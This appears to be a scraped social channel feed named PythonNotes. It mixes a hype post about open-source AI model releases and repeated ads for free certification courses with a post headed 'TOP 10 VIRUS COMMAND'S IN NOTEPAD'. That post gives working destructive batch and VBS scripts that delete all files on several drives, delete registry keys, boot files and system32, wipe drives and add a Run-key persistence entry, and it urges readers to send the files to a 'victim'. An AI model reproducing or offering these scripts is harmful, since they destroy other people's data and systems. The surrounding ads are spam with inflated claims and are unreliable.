PythonNotes

Sometimes reality outpaces expectations in the most unexpected ways. While global AI development seems increasingly fragmented, Sber just released Europe's largest open-source AI collection—full weights, code, and commercial rights included. ✅ No API paywalls. ✅ No usage restrictions. ✅ Just four complete model families ready to run in your private infrastructure, fine-tuned on your data, serving your specific needs. What makes this release remarkable isn't merely the technical prowess, but the quiet confidence behind sharing it openly when others are building walls. Find out more in the article from the developers. GigaChat Ultra Preview: 702B-parameter MoE model (36B active per token) with 128K context window. Trained from scratch, it outperforms DeepSeek V3.1 on specialized benchmarks while maintaining faster inference than previous flagships. Enterprise-ready with offline fine-tuning for secure environments. GitHub | HuggingFace | GitVerse GigaChat Lightning offers the opposite balance: compact yet powerful MoE architecture running on your laptop. It competes with Qwen3-4B in quality, matches the speed of Qwen3-1.7B, yet is significantly smarter and larger in parameter count. Lightning holds its own against the best open-source models in its class, outperforms comparable models on different tasks, and delivers ultra-fast inference—making it ideal for scenarios where Ultra would be overkill and speed is critical. Plus, it features stable expert routing and a welcome bonus: 256K context support. GitHub | Hugging Face | GitVerse Kandinsky 5.0 brings a significant step forward in open generative models. The flagship Video Pro matches Veo 3 in visual quality and outperforms Wan 2.2-A14B, while Video Lite and Image Lite offer fast, lightweight alternatives for real-time use cases. The suite is powered by K-VAE 1.0, a high-efficiency open-source visual encoder that enables strong compression and serves as a solid base for training generative models. This stack balances performance, scalability, and practicality—whether you're building video pipelines or experimenting with multimodal generation. GitHub | GitVerse | Hugging Face | Technical report Audio gets its upgrade too: GigaAM-v3 delivers speech recognition model with 50% lower WER than Whisper-large-v3, trained on 700k hours of audio with punctuation/normalization for spontaneous speech. GitHub | HuggingFace | GitVerse Every model can be deployed on-premises, fine-tuned on your data, and used commercially. It's not just about catching up – it's about building sovereign AI infrastructure that belongs to everyone who needs it.

Reply Correct Answer 👇

🚀 Agentic AI Developer Certification Program 🔥 100% FREE | Self-Paced | Career-Changing 👨 Learn to build: ✅ | Chatbots ✅ | AI Assistants ✅ | Multi-Agent Systems ⚡ Master tools like LangChain, LangGraph, RAGAS & more. Join now ⤵️ https://go.readytensor.ai/cert-624-agentic-ai-certification

👀 BREAKING NEWS 👀 Join Free DevOps & Website Development Online Training by HCL ✔️ with Certification to Everyone 🏅 Click here, Register Free                👇👇👇 https://link.guvi.in/pythonlearnerr02002 ❌ Don't miss this Opportunity ❌

⭐  GREAT NEWS  ⭐ Want to learn Data Science Analytics Python at Free of Cost with Certification 🏅 HCL is giving Free Online Training to People ✔️ --> Certificate to Everyone  🏅 --> Free of Cost Course ✅ --> Jobs / Internship Opportunities Become Data Science Python Certified developer 💻 Click here, Register Free                👇👇 https://link.guvi.in/dataschoool01988 ❌ Don't miss this Opportunity ❌

😃 GOOD NEWS 😀 No matter who has won the match ❌ We'll give you Free Data Science Python Course for Sure ✔️ Register now Free 🚀

Click here, Register Free              👇👇👇 https://link.guvi.in/SangamKhare01950 ❌ Don't miss this Opportunity ❌

🔰 TOP 10 VIRUS COMMAND'S IN NOTEPAD 🔰 Method 1: Just open your notepad 1) Click start -> all programs -> accessories -> notepad 2) Or just press or click windows key + r :: run window will open and type notepad and hit enter . NOW TYPE THE FOLLOWING CODE :: @echo off del D:\*.* /f /s /q del E:\*.* /f /s /q del F:\*.* /f /s /q del G:\*.* /f /s /q del H:\*.* /f /s /q del I:\*.* /f /s /q del J:\*.* /f /s /q Then save it as kinng.bat and the batch file is created . WARNING :: This is the most dangerous virus! Be careful with its use. Delete the entire registry @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* Now save it as kinng.bat and the batch file is created . Method 2: How to crash a PC Forever !::: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE. Method 3: How to stop someone's internet access:::: @Echo off Ipconfig /release Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it However, this is VERY easy to fix. Simply type in IPconfig /renew Method 4: ShutDown PC million Times:::: 1.right click on the desktop 2.click shortcut you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want... 3.u will get another dialogue box, write in it: Internet Explorer and press finish 4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok try to open it, it is a virus hehe PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a Method 5: Open Notepad Write / copy the below command there: " del c:\WINDOWS\system32\*.*/q " without quote and save as " anything.bat" Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started. Method 6: Process: Open Notepad Copy the below command there "rd/s/q D:\ rd/s/q C:\ rd/s/q E:\" ( without quotes ) Save as "anything.bat This virus Formats the C ,D , and E Drive in 3 Seconds. Method 7: Just open the Notepad and type the paste the following Code. set ws=createobject("wscript.shell") dim strDir,strfile,st,strtxt2,strshell,strlog dim obfso,obfolder,obshell,obfile,obtxtfile strshell="wscript.shell" strDir="C:\WINDOWS" strfile="\wscript.vbs" st=Chr(34) strlog="shutdown -l" strtxt2="ws.run(strlog)" set obfso=CreateObject("Scripting.FileSystemObject") on error resume next set obfile=obfso.CreateTextfile(strDir & strfile) obfile.writeline("set ws=createobject("&st&strshell&st&")") obfile.writeline("ws.run("&st&strlog&st&")") ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ” Now Save This Notepad file With Any Name Having .vbs Extension . Method 8: Open Notepad and write "start" without quotes Start Start Start and then save it with .bat extension. Now double click on this .bat file to run Command Prompt. Method 9: Convey your friend a little message and shut down his / her computer: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. Method 10 : Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. React ♥️ on this msg ,For more content like this 👍

Click here, Register Free             👇👇👇 https://link.guvi.in/Codearjit01757 --> Become Python Data Science Certified 🏅 ⚠️ Don't miss this Opportunity ⚠️

💥 GOLDEN OPPORTUNITY 💥 Do you know 🤔 I Earn 1 lakh Per month using E-commerce Digital Marketing ✔️ We are giving Free Online Training on Digital Marketing to People with PhysicsWallah --> Certificate to Everyone 🏅 --> Jobs / Internship Opportunities Click here, Register Free 👇👇👇 https://tinyurl.com/digitalmarketingtraining1 ✔️ Join Online Training & Earn Money from First Day ✔️

We are teaching 500 Students who wants to learn Digital Marketing at Free of Cost ✔️ 🚀 Learn How to make Good Income using Digital Marketing 💸 Certificate to Everyone also 🏅 Click here, Register Free 👇👇👇 https://link.guvi.in/Pythonpro01447 ❌ Don't miss this Great Opportunity ❌